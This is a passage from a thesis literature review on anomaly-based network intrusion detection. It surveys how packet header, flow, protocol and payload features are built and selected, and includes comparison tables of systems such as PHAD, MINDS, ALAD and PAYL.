construction to derive new higher-level features, feature selection to choose the
optimal subset of relevant features, reduction, and discretisation [109]. The most
relevant steps for NIDS are now briefly described.
• Dataset creation: involves identifying representative network traffic sam-
ples for training and testing. These datasets should be labelled indicating
whether the connection is normal or malicious. Accurately labelling net-
work traffic can be a very time consuming and difficult task.
• Feature construction: is used to construct a set of features from the initial
dataset. Network traffic consists of sequences of bytes conforming to net-
working protocols. Rather than ML being applied directly to these bytes,
feature construction first transforms them into a smaller number of high-
level features (such as the value of a protocol field). The aim is to create
additional features with better discriminative ability than the initial fea-
ture set. Hence it can have a significant impact on ML accuracy. Features
can be constructed manually, or by using data mining methods such as
sequence analysis, association mining, and frequent-episode mining.
• Reduction: is commonly used to decrease the dimensionality of the dataset
by discarding any redundant or irrelevant features. One method is an
optimization process called feature selection which aims to find the subset
of most relevant features. This is commonly used to alleviate “the curse
of dimensionality” [91]. Data reduction can also be achieved with feature
extraction by transforming the initial feature set into a reduced number
of new features. Principal component analysis (PCA) is a common linear
method used for data reduction.
Preprocessing converts network traffic into a series of observations, where
each observation is represented as a feature vector. Observations are optionally
labelled with its class, such as “normal” or “malicious”. These feature vectors
are then suitable as input to data mining or ML algorithms. ML is widely used
in anomaly-based research NIDS with examples including PHAD [128] and the
Principal Component Classifier by Shyu et al. [168].
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2.1.3 Aims and Overview
Other reviews of anomaly-based NIDS concentrate on the detection algorithm
used. Patcha and Park [150] categorize detection algorithms into statistical,
data-mining and ML based. For each technique (e.g. classification, clustering,
sequence analysis, Bayesian networks or Markov Chains) a number of research
systems are referenced. Anomaly detection methods reviewed by Chandola et al.
[30] also focus on the algorithms used. They discuss several application do-
mains including credit card fraud, image processing, sensor networks as well as
computer security. Garca-Teodoro et al. [78] list the anomaly detection tech-
niques used by available NIDS software, spanning both commercial and research
projects. The authors note a trend in research projects over more than a decade
from initial statistical approaches, to knowledge-based expert systems, and more
recently to ML techniques with particular use of N-grams and Markov Mod-
els. Gogoi et al. [81] compare supervised and unsupervised anomaly detection
algorithms, and tests some implementations on the KDD Cup 99 dataset [102].
Most reviews of anomaly-based NIDS therefore concentrate on their core
algorithms. This review instead covers their data preprocessing techniques, con-
centrating on what aspects of the network traffic are analysed, and what feature
construction and selection methods have been used. The review analyses relevant
anomaly-based NIDS publications from the last decade. The focus is motivated
by the fact that data preprocessing takes a significant amount of effort, and
directly impacts on the accuracy and capability of the downstream algorithm
[119, 109]. Therefore data preprocessing forms a critical part of anomaly-based
NIDS. The focus is also motivated by the fact that content-based attacks have
become more relevant, while older DoS, network probe and network worm attacks
have largely been mitigated by perimeter defenses. Content-based attacks include
buffer overflows on network services, web server exploits, crafted documents to
exploit workstation productivity suite software, and web services attacks such as
SQL injection. Since the attack bytes for each of these attacks occurs beyond
the TCP headers (in the TCP payload), a new set of preprocessing techniques
are required to detect these content-based attacks.
This review also notes any techniques which have been applied to real-world
networks. Coping with real-world data implies taking into account computational
complexity, hardware resources, and differences between training data and real
data.
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The review has two main purposes:
1. It comprehensively reviews the features derived from network traffic, and
the related data preprocessing techniques which have been used in anomaly-
based NIDS since 1999. These aspects of NIDS are fundamentally impor-
tant since they determine, to a significant degree, its detection coverage.
2. It groups anomaly-based NIDS by the types of network traffic features used
for detection. The aim is to show where the majority of research has been
focused. The groups show a trend from previously using packet header
features exclusively, to using more payload features.
The scope of this review is limited in order to keep it focused. The review
omits HIDS due to the significant differences in their input data (system call
traces rather than network traces), and corresponding differences in data pre-
processing. Also omitted are papers solely addressing NIDS performance such as
using hardware acceleration or parallel architectures. While performance is an
important aspect for NIDS monitoring high bandwidth links, it is an area wor-
thy of a separate study. The review attempts to cover a wide variety of network
intrusions rather than just the traditional probe and DoS attacks. However, a
notable omission is botnet detection, again to limit scope.
The rest of the literature review is organized as follows. The identified traffic
feature types are network packet headers, network protocol information, network
packet contents (payloads), hybrid features (e.g. from KDD Cup 99), and alerts.
Sections 2.2, 2.3, 2.4, 2.5 and 2.6 respectively review each of these feature
types in more detail. Section 2.7 then discusses and compares the reviewed
preprocessing techniques. Finally, Section 2.9 concludes by summarizing the
findings.
Figure 2.1 graphs the numbers of reviewed papers using each of the identified
feature types. It shows the largest group of papers use features derived only from
network packet headers. It also shows that a significant number of papers depend
on the features in the KDD Cup 99 dataset. While a number of reviewed papers
use features derived from packet contents or payloads, most of those analyse the
payloads of requests to servers. This literature review first covers packet header
features.
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Figure 2.1: Number of published anomaly-based NIDS papers vs. feature type
used
2.2 Packet Header Features
Anomaly detection based only on packet header information minimizes the data
preprocessing requirements. Headers generally make up only a small fraction
of the total network data, so processing them requires fewer resources (CPU,
memory, storage) than analysing full packet payloads. Hence the approach can
be used on relatively high bandwidth network links where deep packet inspection
techniques are too resource intensive for real-time operation. Summarizing a
series of network packet headers into a single flow record, such as NetFlow [34],
further reduces resource requirements. Packet header approaches also have the
advantage of remaining valid when traffic payloads are encrypted, such as with
SSL sessions. We use this fact in Chapter 6 when studying which features are
available from encrypted traffic, and then using those header features to perform
traffic classification.
The reviewed packet header approaches are summarized in Tables 2.1, 2.2
and 2.3. Each table contains a group of NIDS sharing common feature types.
NIDS in Table 2.1 take basic features directly from packet headers. Those in Ta-
ble 2.2 use features taken from a single flow, known as single connection derived
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(SCD) features. Table 2.3 lists NIDS using features spanning multiple flows,
called multiple connection derived (MCD) features. The terminology is taken
from a detailed analysis of packet header features by Onut and Ghorbani [146].
They identified basic, SCD and MCD as the main feature categories, and then
continued to subdivide them to produce a fine grained graph of 26 feature cate-
gories. Our literature review gives a broad overview of these features, and then
goes on to discuss a number of anomaly-based NIDS which use them.
Data preprocessing to extract packet headers is straightforward. Many soft-
ware programs and libraries already exist to process network traffic, e.g. libpcap,
tcpdump, tshark, tcptrace, softflowd and NetFlow and IPFIX implementa-
tions. The complex part of the data preprocessing is using appropriate feature
construction to derive more discriminative features (e.g. time based statistical
measures) from this basic traffic information.
2.2.1 Packet Header Basic Features
Only three papers in this section use the basic features extracted directly from
individual packet headers without further feature construction.
Tool /
Paper
Data Input Data
Preprocessing
Main Algorithm Detection
PHAD
[128]
Ethernet, IP,
TCP headers
Models each packet
header using
clustering
Univariate anomaly
detection
Probe, DoS
SPADE
[174]
Packet
headers
Preprocessing retains
packets with high
anomaly score. Score
is inverse of
probability of packet
occurrence.
Entropy, mutual
information, or
Bayes network.
Probes
(network and
port scans)
[84] 802.11 frame
headers
Apply feature
construction for 3
higher level features.
Feature selection is
used to find optimal
subset.
K-means Classifier
used to detect
attacks
Wireless
network
attacks.
Table 2.1: NIDS using only parsed packet header fields, i.e. packet header basic
features.
Packet header anomaly detector (PHAD) [128] was intended to detect attacks
against the TCP/IP stack, IDS evasion techniques, imperfect attack code, and
anomalous traffic from victim machines. It learns normal ranges for each packet
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header field at the data link (Ethernet), Network (IP), and Transport/control
(TCP, UDP, ICMP) layers. The result is 33 packet header fields used as basic
features. The possible numeric range of each packet header field is very large,
so to reduce this space, clustering is used. Each attribute is allowed N clusters.
If N is exceeded, then the closest clusters are merged. PHAD was trained on
attack free data from the DARPA 99 dataset [139]. Note: the DARPA 99 dataset
was produced for the second year of an intrusion detection evaluation project.
The first year produced the DARPA 98 dataset [138], which was preprocessed to
become the KDD Cup 99 dataset [102]. During the detection phase of PHAD, the
33 packet header attributes from each data instance are compared to the trained
model. Each attribute is then given an anomaly score which is proportional
to the time since the same event last occurred. The total anomaly score for the
packet is the sum of the anomaly score for each of its attributes. This is therefore
a univariate approach which cannot model dependencies between features.
Statistical packet anomaly detection engine SPADE [174] is implemented as
a snort [163] preprocessor plugin. It was developed to detect stealthy scans, and
only requires basic features extracted from protocol headers such as the source
and destination IP addresses and ports. SPADE was one of the first attempts
to use an anomaly method for portscan detection. Previous methods simply
counted the number of attempts from a single source within a certain time win-
dow. If the number exceeded a threshold then a portscan was flagged. However
these approaches are easily evaded. In SPADE, the basic features are instead
used to build a normal traffic distribution model for the monitored network.
Traffic distributions are maintained in real time by tracking joint probability
measurements, e.g. P(source address, destination address, destination port), or
using a Bayes Network. During detection, packets are compared to the proba-
bility distribution to calculate an anomaly score. Highly anomalous packets are
retained. By retaining these unusual packets, it is possible to look for portscans
over a much wider time window.
Attacks against wireless networks have also been detected using packet head-
ers, in this case from the MAC layer frame header. The approach requires tapping
the local wireless network. Guennoun et al. [84] perform preprocessing to extract
all the frame headers, convert any continuous features to categorical ones, and
derive new features. Feature selection is applied to find the most relevant set for
detecting malicious traffic. First a filter approach is used to calculate the infor-
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mation gain ratio of each feature individually. This produces a list of features
ranked by their relevance. A wrapper approach is then used to find the best set
of features. It uses a forward search algorithm which starts with the single most
relevant feature, tests it with a k-means classifier, and then iteratively adds the
next most relevant feature to the set. It was found that the top eight ranked
features produced a classifier with the best accuracy.
Early and Brodley [65] argue that blindly using packet header features from
network traffic leads to an inaccurate classifier. Many of the headers are likely to
be irrelevant, since they have no inherent anomalous value, and collecting enough
training data to fully exercise these values is not feasible. Their experiment
backed their claim. This would seem to contradict the approach of PHAD which
uses all 33 packet header basic features, including some irrelevant ones. However
PHAD mitigates accuracy problems by clustering the values for each feature.
Clustering ensures unseen but legitimate values are less likely to be deemed
anomalous, thereby reducing false positives. SPADE simply avoids irrelevant
features by using a very small subset of packet headers, while the wireless network
NIDS by Guennoun et al. [84] uses feature selection to eliminate these irrelevant
features.
2.2.2 Single Connection Derived Features
The anomaly-based NIDS in Table 2.2 use complete network flows as data in-
stances rather than individual packet data. Analysing flows provides more con-
text than analysing individual packets standalone. Flows are unidirectional se-
quences of packets sharing a common key such as the same source address and
port, and destination address and port. They complete after a timeout period,
or for TCP with end of session flags (e.g. FIN or RST). Protocols such as UDP
and ICMP can also be represented in flow records.
SCD features are relevant to any detector which analyses application-layer
protocols, e.g. our HTTP and DNS tunnel detectors in Chapters 4 and 5 respec-
tively. Individual packets usually only contain a fragment of application-layer
data. Searching for a string in application-layer data of a single packet will fail
when the string spans multiple packets. Therefore, network packets need to be
combined to reassemble the whole string. For TCP traffic, this process is known
as TCP session reassembly. Once reassembly is complete, application-level pro-
tocol fields can be parsed. This enables contextual analysis of network traffic,
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e.g. the HTTP URL can be created as an SCD feature for analysis.
A convenient way of obtaining flow information is to use NetFlow records.
These are produced by Cisco routers (with other manufacturers producing equiv-
alent records) as summaries of the packets passing through them. Having a router
generate NetFlow data saves the NIDS from doing its own data preprocessing
tasks such as parsing IP headers, maintaining packet counts, and stream (flow)
reassembly. Alternatively, NetFlow records can be produced on a standard host
using software such as softflowd1. NetFlow records also significantly reduce
the storage requirements compared to full packet capture. However, NetFlow
information is only based on packet headers, so the transport payload is ignored.
Tool /
Paper
Data
Input
Data Preprocessing Main Algorithm Detection
AND-
SOM
[158]
Tcpu-
rify
output
tcptrace used to
trace sessions. Then
custom time-based
SCD features are
constructed for each
service
Use SOM to model
normal usage of each
service
BIND attack
and http tunnel
[191] HTTPS
traffic
Calculate request and
response sizes for SSL
or TLS traffic, and
compare to threshold
Statistical test to find
rare alerts for each
webserver
Web Server
attacks
[69] TCP
sessions
Create separate
dataset for each
application protocol.
Quantization of TCP
flags within each
session.
Markov chains for
HTTP, FTP and SSH
to model TCP state
transitions.
Nmap scans.
SSH, HTTP
misuse
[202] TCP
sessions
Create separate
dataset for each
application protocol.
Quantization of TCP
flags within each
session.
HMM for HTTP, FTP
and SSH to model
TCP state transitions.
FTP anomalies
[192] TCP/IP
headers
Reconstruct TCP
sessions and calculate
round trip times.
Clustering and
partitioning data
mining
Stepping stones
[65] TCP/IP
headers
Statistical features per
connection: TCP
flags, mean packet
inter-arrival time,
mean packet length
C5 Decision Tree
Classifier
Proxies,
backdoors,
protocols.
Table 2.2: NIDS using single connection derived (SCD) features from packet
headers.
1http://www.mindrot.org/projects/softflowd/
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The most common SCD features are packet statistics calculated within a
flow. Examples include counts of packets and bytes in the flow (as per Net-
Flow records), the average inter-packet arrival time, and the mean packet length.
These features are useful for fingerprinting sessions, detecting unusual data flows,
or finding other anomalies within a single session.
ANDSOM uses SCD features exclusively [158]. Data preprocessing first seg-
ments the dataset by service type (TCP or UDP) and the application protocol
(HTTP or SMTP). For each data segment a different model is created. In this
case self organizing maps (SOM) are used. The calculated SCD features are
quad2, start time, end time, whether the session had a valid start (2 SYN pack-
ets), whether the connection was closed properly (FINs) or improperly (RST),
number of queries per second, average size of questions, average size of answers,
question answer idle time, answer question idle time, and the duration of the
connection. These features provide a fingerprint for the session. During the de-
tection phase the data instances were compared to the appropriate SOM model
to detect anomalies in that service. Testing successfully found an injected BIND
attack and a HTTP tunnel, both of which are detectable within a single flow.
Yamada et al. [191] use SCD features to find attacks against web servers
when the traffic is encrypted by SSL or TLS. Therefore they only use information
from the unencrypted protocol headers for detection. The features used are the
HTTP request and response sizes, calculated across each continuous activity of
each user. Since using size features alone would produce many false positives,
frequency analysis is also performed to eliminate alerts common to the webserver.
Statistically rare alerts are flagged as anomalies.
Anomaly detectors have also been built using only TCP flags as SCD features
[69, 202]. TCP flags are extracted from packets within each TCP session, and
each flag combination is quantized as a symbol. This converts the TCP session
into a sequence of symbols, which can then be modelled using Markov chains.
A separate model is produced for each of the observed protocols SSH, HTTP
and FTP. During the detection phase, network traffic is evaluated against the
appropriate model for anomaly detection. The approach was found to detect
scans initiated by nmap, and SSH and HTTP misuse. While this approach detects
attacks which modify TCP characteristics, it is not likely to detect payload-
based attacks. To address this, the authors mention modelling application layer
2quad is shorthand for the 4 basic features: source IP address, source port, destination IP
address and destination port
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protocols such as DNS or HTTP as future work, rather than relying on TCP
models only.
Yang and Huang [192] used SCD features to detect connections which pass
through multiple stepping stones. The assumption is these types of connections
are used by attackers to avoid being tracked. Detection is based on calculating
round trip times (RTTs) of packets within a TCP connection. This approach uses
clustering and partitioning to calculate the RTTs and to estimate the number
of stepping stones. The algorithm uses only packet header information within a
connection, specifically the timestamps of the send and echo packets.
SCD features are also used by Early and Brodley [65]. Their aim is to auto-
matically detect which application protocol (e.g. SSH, telnet, SMTP, or HTTP)
is being used without using the destination port as a guide. Detection is based
on features derived only from TCP/IP packet headers within a flow, and using
decision trees (see Section 5.2.2) for classification. The derived features are the
percentage of packets with each of the six TCP state flags set, the mean packet
inter-arrival time, and the mean packet length. In anomaly mode, this detector
could be used to find services running on non-standard ports, potentially flagging
backdoors.
SCD features are therefore useful for finding anomalous behaviour within a
single session, such as an unexpected protocol, unusual data sizes, unusual packet
timing, or unusual TCP flag sequences. Particular detection capabilities include
backdoors, HTTP tunnels, stepping stones, BIND attacks, and command and
control channels. However, by themselves they cannot be used to find activity
spanning multiple flows such as DoS attacks or network probes. For that, MCD
features are required.
2.2.3 Multiple Connection Derived Features
MCD features are constructed by monitoring base features over multiple flows
or connections. These features are constructed since they have been found to
be better at discriminating between normal and anomalous traffic patterns com-
pared to basic features taken directly from individual packet headers. They
enable detection of anomalies which manifest themselves as unusual patterns of
traffic, such as network probes and DoS attacks. MCD features should be most
relevant to protocol tunnel detection in Chapters 4 and 5, since such tunnels
should exhibit unique behaviours over many network connections.
30 Chapter 2. Literature Review
Tool /
Paper
Data
Input
Data
Preprocessing
Main Algorithm Detection
[113] NetFlow
output
Calculate entropy of
each feature (e.g. dst
port) for each 5
minute data chunk
Multiway-subspace
method finds
variations/anomalies
alpha flows, DoS,
probe, worms etc.
MINDS
[67]
NetFlow
records
MCD features
calculated for each
time window and
connection window,
e.g. flow count to
each destination
Local Outlier Factor
(LOF), Association
Mining
Probe, DoS,
worms
[116] tcptrace
output
MCD features
calculated using
windows of 5 seconds
and 100 connections.
Compare LOF,
k-means, SVM
algorithms
Some Probe, DoS,
R2L, and U2R
[155] tcptrace
output
As above Incremental LOF As above
ADAM
[7]
Connec-
tion
records
Association mining
over 3 seconds and 24
hour sliding windows.
Feature selection.
Naive Bayes Classifier Some Probe, DoS,
R2L, U2R.
SCAN
[151]
Connec-
tion
records
Subsampling data,
EM, and 60 second
data summaries
Clustering DoS
FIRE
[53]
TCP/IP
headers
Connection counts for
each src/dst over 15
minute and 1 month
time windows
Fuzzy rules to detect
anomalies
Probe (host and
port scans)
[142] IPFIX
output
MCD features, e.g.
av. packet size, av.
flow duration
Construct profiles.
Use Chi-squared
measure to detect
anomalies
Scan, flood, DoS,
DDoS attacks
[126] full pcap Reconstruct flows.
Create 15 custom
MCD volume
features, e.g. num
flows per minute
Model normal traffic
using wavelet
approximation
Scan, flood, DoS,
DDoS attacks
Table 2.3: NIDS using multiple connection derived (MCD) features from packet
headers.
Domain knowledge is used to choose a window of data to consider. The
time windows used in the reviewed papers (as shown in Table 2.3) range from
5 seconds to 24 hours, with shorter time windows detecting bursty attacks, and
long time windows more likely to detect slow and stealthy attacks. Connection-
based windows are also used, such as analysing the most recent 100 connections.
Lakhina et al. [113] developed a network anomaly detector using MCD fea-
tures based only on the quad and time fields of NetFlow records. Traffic anoma-
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lies are assumed to induce a change in the distributional aspects of the chosen
header fields. For example, analysing all packets in a host port scan will show
low entropy for the destination IP address, but high entropy for the destination
port feature. The detector therefore uses entropy measures on basic features over
a five minute time window to detect anomalies. The types of network anomalies
detectable by this method include alpha flows3, DoS attacks, flash crowds4, port
scans, network scans, outages, worm behaviour, and point-to-multipoint traffic.
The approach differs from earlier volume-based detectors. Results show the two
approaches are complementary.
The same anomaly detector by Lakhina et al. [113] uses packet sampling to
enable it to operate in near real-time on high-bandwidth backbone networks.
NetFlow can perform 1 in N packet sampling, where N is configurable. The
authors sample 1 in 100 packets, while still detecting network anomalies. In-
tuitively, sampling packets would reduce the detection accuracy of the NIDS.
Hence Patcha and Park [151] use an adaptive sampling technique to balance the
requirements of accuracy and resource overheads.
Rather than using entropy measures, the Minnesota intrusion detection sys-
tem (MINDS) [67] uses a volume based approach to counting flow features. These
statistics are then fed to an outlier detection algorithm. MINDS processes 10
minute batches of NetFlow records, containing SCD features such as the quad,
protocol, union of TCP flags, number of bytes and number of packets. Several
MCD features are then calculated from these using a time window. For example,
“count-dest” is the count of flows from the same source to different destinations.
Another set of MCD features are calculated over a window of the last N con-
nections. The SCD and MCD features are constructed in a similar way to the
KDD Cup 99 dataset described in Section 2.5. They are then used as input to
a density-based outlier detection algorithm called local outlier factor (LOF) for
detecting anomalies [21]. Testing showed MINDS could detect network probes
(scanning), DoS, and worm propagation.
Lazarevic et al. [116] compared the effectiveness of LOF, k-means [127] and
support vector machines (SVMs, see Section 4.3.2) for unsupervised network
anomaly detection. Data preprocessing was similar to MINDS, but used tcp-
trace output rather than NetFlow records. Like NetFlow, tcptrace also only
analyses packets headers. However it analyses bidirectional connections rather
3Alpha flow is an unusually high data rate between a single source-destination pair
4A flash crowd is an unusually high demand for a particular destination service
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than unidirectional flows. Differences in output include the lack of routing in-
formation, and the optional addition of detailed traffic timing statistics such as
round trip times and idle times. Output common to both NetFlow and tcptrace
includes source and destination information, packet and byte counts, flags, and
the start and end times of the connection. Despite no features being constructed
from the packet payloads, some user to root (U2R) and remote to local (R2L)
attacks were detected during testing. However this came at the cost of a high
false positive rate which would be too high for operational use. The authors
state that tcptrace basic features were important for detecting R2L and U2R
attacks, while MCD time-based and connection-based features were important
for detecting probes and DoS attacks. The LOF algorithm was later extended
to support incremental updates [155].
Audit data analysis and mining (ADAM) [7] uses MCD features and two
stages for detection. The first stage uses association mining to find anomalies in
the traffic, and the second stage classifies the anomalies as normal or malicious to
reduce the number of false positives. Their data preprocessing outputs a feature
vector I = {start time, quad, connection status} for each network connection.
Association mining derives rules X =⇒ Y where X, Y ⊆ I and X ∩ Y = ∅.
The authors apply association mining to a sliding window of feature vectors
to find frequent (high support) feature combinations. The size of this window
determines the types of patterns that are detected as having a high support value.
If the time window is large, then patterns which were only supported for a few
seconds will be ignored. Hence two parallel time windows are used: a 3 second
window, and a 24 hour window. All association rules are captured from both
time windows. During training, a model based on association rules is created to
represent normal system behaviour. In detection mode, data mining is used to
dynamically find association rules, which are then compared to the models for
anomaly detection.
Stochastic Clustering Algorithm for Anomaly Detection (SCAN) [151] aims
to find network anomalies even in the absence of complete and accurate audit
data. SCAN both samples the incoming data and creates data summaries to
reduce the workload. Basic header features: quad, connection status, protocol,
and duration are extracted from each connection. MCD time-based features are
then calculated from these basic headers using a time window of 60 seconds
to create a data summary including: flow concentration factor, percentage of
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control packets, percentage of data packets, and the maximum number of flows
to a particular service. The time-based features are then used by a clustering
algorithm to detect outliers as anomalies. When tested, SCAN was able to
detect network-based DoS attacks (SYN flood and SSH Process Table attacks5)
in high-speed networks, even when data sampling was used.
Fuzzy Intrusion Recognition Engine (FIRE) [53] is an anomaly-based IDS
incorporating fuzzy logic and using MCD statistical features. The quad, TCP
flags, and packet length attributes are extracted from network traffic. TCP
sessions are reassembled and a unique key is created for each. This key is stored
in a long term database where data is maintained for a month. Over a collection
interval of 15 minutes, statistical measures are calculated to form MCD features
such as: the number of new source-destination pairs seen, and the number of
new source-destination pairs which are not in the long term database. The
authors state that the statistical measures reduce the amount of data to retain
while creating data that is more meaningful to anomaly detectors than the raw
input. Each MCD feature is prepared for input to the Fuzzy Threat Analyser.
The security administrator must then write fuzzy rules based on the features to
detect anomalies. Testing discovered network scans and other unusual traffic in
a university network.
IPFIX data has also been used as input to an anomaly detection system [142].
IPFIX is the result of work by the IETF to standardize NetFlow. Their NIDS
was configured to monitor TCP, UDP, and ICMP traffic and produce an output
record after each time window. The chosen MCD features for the record were:
number of packets, average packet size, average flow duration, number of flows,
average packets per flow, and number of single packet flows across all traffic.
These features were used to build profiles of normal traffic, and then during
the detection phase a chi-squared measure was used to detect anomalies. The
algorithm was able to detect scan, flood, DoS and DDoS attacks.
Lu and Ghorbani [126] used signal processing techniques to detect anomalous
traffic in the DARPA 99 dataset [139]. The 15 custom MCD features measured
flow counts, packets per flow, bytes per packet, and bytes per flow, all over a
1 minute time window. These features were used to create a model of normal
traffic using wavelet analysis.
5A SSH Process Table Attack is a DoS attack where connections are continually made to
the SSH service without completing authentication. It aims to force the victim machine to
spawn SSH processes until the victim’s resources are exhausted.
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Due to the use of MCD features, these approaches listed in Table 2.3 were
all suitable for detecting network scan and DoS behaviour. Most of these ap-
proaches however do not detect single packet, single flow, or payload-based at-
tacks. Analysis of payloads is covered in Section 2.4, but first the analysis of
network protocols is discussed as an alternative anomaly detection approach.
2.3 Protocol Features
The analysis of various protocol layers within network traffic can be used for
anomaly detection. This section highlights three approaches to analysing proto-
cols: specification-based, parser-based, and application protocol keyword-based
anomaly detection.
2.3.1 Specification-based Features
Network protocols are generally defined in RFCs. These can be used to guide
anomaly detectors to find non-conformant traffic. When a model is manually
specified by an expert (based on RFCs or other sources of protocol information)
for an anomaly-based NIDS, this is called specification-based intrusion detection.
To avoid false positives, the model must also be constructed to include valid but
non-RFC compliant extensions used by some applications. Note: unpublished,
proprietary protocols require reverse engineering before a model can be specified.
Specification-based anomaly detectors use the fact that protocols change
much more slowly than attacks do. Therefore modelling protocols should be
simpler than continually creating signatures for the latest exploit. Since the
specification is created manually from the protocol definition (RFC), it should
also be a complete model and hence potentially superior to the trained models
of standard anomaly detectors. Trained models are generally imperfect due to
difficulties in obtaining traffic which is clean from malicious activity, and which
is fully representative of normal behaviour including future traffic in an evolving
computer network.
Sekar et al. [167] built a TCP/IP state machine from information in RFCs.
They calculated frequency distributions associated with state machine transi-
tions. Unusual frequency distributions were flagged as anomalous. Testing on the
DARPA 99 dataset [139] successfully detected DoS attacks and network probes.
This limited capability was due to state machine models only being built for
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Tool /
Paper
Data
Input
Data Preprocessing Main Algorithm Detection
[167] TCP/IP
headers
Segment data based on
combinations of IP
addresses and ports
Specify a Finite State
Machine model for valid
TCP/IP traffic.
Probe, DoS
Snort
[163]
All
network
traffic
Protocol-specific
preprocessors parse and
normalize fields, e.g.
TCP/IP and HTTP
headers. Protocol
anomalies detected at
this stage.
Misuse-based via snort
signatures matching
any part of the traffic.
All
Bro
[181]
All
network
traffic
Broad range of protocol
analysers to parse fields
bro scripts for traffic
analysis. Misuse
detection through
signatures including
snort rulesets.
All
ALAD
[129]
TCP
sessions
Candidate features
taken from TCP/IP
headers and
application-layer
protocol keywords for
SMTP, HTTP, FTP.
Manually select
conditional probabilities
to use, e.g.
P(keyword|dst port).
Total anomaly score of
connection based on
probability of each
feature
Probe, DoS,
R2L, U2R
LERAD
[130]
TCP
sessions
Candidate features are
first 8 words from
application payloads,
plus all basic PHAD
features. Automated
feature selection.
Total anomaly score of
connection based on
probability of each
feature
Probe, DoS,
R2L, U2R
Table 2.4: NIDS using protocol analysis: specification-based, parser-based, or
application protocol keyword-based.
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TCP, rather than also including application-layer protocols. A further limita-
tion was the inability to detect single packet attacks, since the frequency-based
approach depends on repetition.
2.3.2 Parser-based Features
Another approach to protocol-based anomaly detection is to create protocol
parsers or decoders. The protocol specification is then built into the logic of
the decoder. When the decoder detects invalid protocol usage (e.g. an attribute
with length greater than the maximum allowed) an anomaly can be flagged.
Many of these anomalies are most easily identified when the protocol is fully
analysed. This functionality is included in the open-source NIDS snort [163]
and bro [181]. While snort is predominantly a misuse-based system using li-
braries of pattern-matching signatures, it also includes some protocol parsers
offering protocol anomaly detection. The stream preprocessor reassembles TCP
sessions, while the http inspect preprocessor parses and normalizes HTTP fields
and makes them available for signature detection. These preprocessors can be
configured to produce alerts when protocol anomalies are detected. For exam-
ple, the http inspect preprocessor can detect oversized header fields, non-RFC
characters, and Unicode encoding.
Bro allows highly customizable intrusion detection via a number of protocol
analysers. Bro policy scripts can then be written to detect protocol anomalies.
Parser-based anomaly detection has the advantage of providing detailed infor-
mation about the location and cause of the anomaly.
Network protocol parsers are used throughout this thesis. We use them to
output protocol field names and values as base features. Further features can be
derived from the base features.
2.3.3 Application Protocol Keyword-based Features
Mahoney and Chan [129] built on PHAD by creating a new component called
Application Layer Anomaly Detector (ALAD). ALAD adds some SCD features
from the headers within a session, as well as keywords from the application layer
protocol.
A data instance for ALAD is a complete TCP connection with basic features:
application protocol keywords, opening and closing TCP flags, source address,
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destination address and port. Use of application protocol keywords puts this
in the category of protocol-based anomaly detection for this review (although a
mixture of feature types are used). The keywords are defined as the first word
on each new line within the application protocol header. Training data was used
to build models of allowed keywords in text-based application protocols such as
SMTP, HTTP and FTP. In the detection phase, the anomaly score increased
when a rare keyword was used for a particular service. Unusual keywords can in-
dicate a R2L attack against a network service such as a mail or web server. After
testing many features, the final set chosen for ALAD were four conditional prob-
abilities and one joint probability: P (srcIP |dstIP ), P (srcIP |dstIP, dstport),
P (dstIP, destport), P (TCPflags|destport), and P (keyword|destport). The last
of these creates a model of keywords normally used by each service.
Mahoney and Chan [130] also produced LERAD which learns models for
network anomaly detection. Previous work in ALAD relied on the authors se-
lecting the 5 most appropriate probability rules from a huge space of possibilities.
LERAD instead automatically computes a huge number of rules, using rule in-
duction on training data, and then uses a feature selection algorithm to find the
most useful rule subset. These features (rules) were automatically constructed
from base attributes of each network connection: date and time, IP addresses,
ports, duration, length, three TCP flags, and the first 8 words in the application
payload.
2.4 Content Features
Many remote attacks on computers place the exploit code inside the payload
of network packets. Hence these attacks are not directly detectable by packet
header approaches from Section 2.2. The KDD Cup 1999 dataset provided 13
“content-based features”, created with expert knowledge, to enable detection of
these attacks within their dataset. This section reviews more recent approaches
of analysing network traffic payloads.
Exploit code located in traffic payloads are more computationally expensive
to detect due to requiring deeper searches into network sessions. However, these
attacks are increasingly important. In their “Cyber Risk Report 2016” Hewlett
Packard say attackers use the easiest route which is to attack client-side appli-
cations [147]. Attackers target vulnerabilities in web browsers, mail clients, and
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multimedia and document viewers. The attacks often rely on users following
links in phishing emails, opening files from untrusted sources, or browsing to
infected websites. In these cases, bytes containing the exploit code are contained
within network packet payloads beyond the TCP/IP headers, such as within
downloaded files. The attacks work because client-side software often remains
unpatched, and because there are many client applications to choose from, i.e
a large attack surface. A similar message in the “SANS Top Cyber Security
Risks” 2009 report [52] listed the top two cyber risks as unpatched client-side
software, and vulnerable Internet-facing web sites. The latter can be exploited
using crafted content in requests to servers. Common attacks against servers are
SQL injection and cross-site scripting to susceptible web applications.
These content-based attacks have become more relevant, while older DoS,
network probe and network worm attacks have become less relevant. Strong
network perimeter defences now minimize the exposure of organizations to these
older attacks from the Internet. A small number of exposed, but hardened servers
are generally placed in a DMZ to provide connectivity and services to the outside
world including web and email servers. Client hosts (user machines) then cannot
communicate with the outside except by passing through these hardened gateway
servers, thereby minimizing the attack surface visible from the Internet.
These perimeter defences have forced attackers to use other vectors. A com-
mon vector is the use of web content to exploit client web browsers. When the
exploit is successful, the attacker takes on the privileges of the compromised
client and can therefore assume the role of the trusted insider. In situations
where perimeter defences are the main security measure, this allows attackers
access to sensitive data, access to other internal machines, and can enable in-
stallation of backdoor programs for ongoing control of internal hosts. Tables 2.5
and 2.6 list the reviewed NIDS approaches for detecting both server and client
payload-based attacks, respectively.
2.4.1 N-gram Analysis of Requests to Servers
Several reviewed papers use N-gram analysis of network traffic payloads. N-
grams have been used previously in other fields such as information retrieval,
in statistical natural language processing, and in optical character recognition
(OCR), but here are used at the data preprocessing stage for NIDS. Due to
demonstrated effectiveness of N-grams we generate them in the automated fea-
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Tool /
Paper
Data
Input
Data
Preprocessing
Main Algorithm Detection
PAYL
[183]
Network
packet
payload
1-grams used to
compute byte
frequency
distribution models
for each network
destination
Simplified
Mahalanobis
distance to compare
packet to model
Worms, Probe,
DoS, R2L, U2R
POSEI-
DON
[12]
Network
packet
payload
SOM identifies
similar payloads per
network
destination. Similar
payloads are
grouped into a
model.
PAYL Higher accuracy
than PAYL
ANA-
GRAM
[184]
Network
packet
payload
N-grams from
payload stored in
normal and
malicious bloom
filters. N tested
from 2 to 9.
Compare N-grams
from traffic to
bloom filters for
classification
Mimicry resistance
added
McPAD
[153]
Network
packet
payload
2ν-grams extracted
from payload.
Feature clustering
used to reduce
dimensionality
Ensemble of
one-class SVM
classifiers using
majority voting rule
